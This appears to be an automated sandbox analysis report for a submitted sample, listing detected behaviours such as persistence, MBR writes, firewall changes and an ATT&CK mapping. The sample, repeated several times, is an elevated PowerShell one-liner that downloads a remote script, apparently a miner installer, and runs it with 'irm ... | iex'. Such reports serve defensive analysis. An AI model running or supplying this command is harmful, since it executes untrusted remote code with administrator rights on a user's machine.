General
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Sample
240630-ds7kaatalf
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
Resource
win10v2004-20240611-en
Malware Config
Targets
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Target
http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
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Cobalt Strike reflective loader
Detects the reflective loader used by Cobalt Strike.
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Checks for common network interception software
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Contacts a large (531) amount of remote hosts
This may indicate a network scan to discover remotely running services.
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Creates new service(s)
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Downloads MZ/PE file
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Drops file in Drivers directory
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Manipulates Digital Signatures
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.
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Modifies Windows Firewall
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Possible privilege escalation attempt
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Checks BIOS information in registry
BIOS information is often read in order to detect sandboxing environments.
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Checks computer location settings
Looks up country code configured in the registry, likely geofence.
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Event Triggered Execution: Component Object Model Hijacking
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
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Executes dropped EXE
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Loads dropped DLL
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Modifies file permissions
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Adds Run key to start application
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Checks installed software on the system
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.
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Legitimate hosting services abused for malware hosting/C2
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Modifies powershell logging option
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Writes to the Master Boot Record (MBR)
Bootkits write to the MBR to gain persistence at a level below the operating system.
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AutoIT Executable
AutoIT scripts compiled to PE executables.
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Checks system information in the registry
System information is often read in order to detect sandboxing environments.
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Drops file in System32 directory
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MITRE ATT&CK Matrix ATT&CK v13
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Persistence
Create or Modify System Process
3Windows Service
3Event Triggered Execution
2Netsh Helper DLL
1Component Object Model Hijacking
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Event Triggered Execution
2Netsh Helper DLL
1Component Object Model Hijacking
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Access Token Manipulation
1Create Process with Token
1Defense Evasion
Subvert Trust Controls
2SIP and Trust Provider Hijacking
1Install Root Certificate
1Impair Defenses
2Disable or Modify System Firewall
1File and Directory Permissions Modification
1Modify Registry
4Pre-OS Boot
1Bootkit
1Access Token Manipulation
1Create Process with Token
1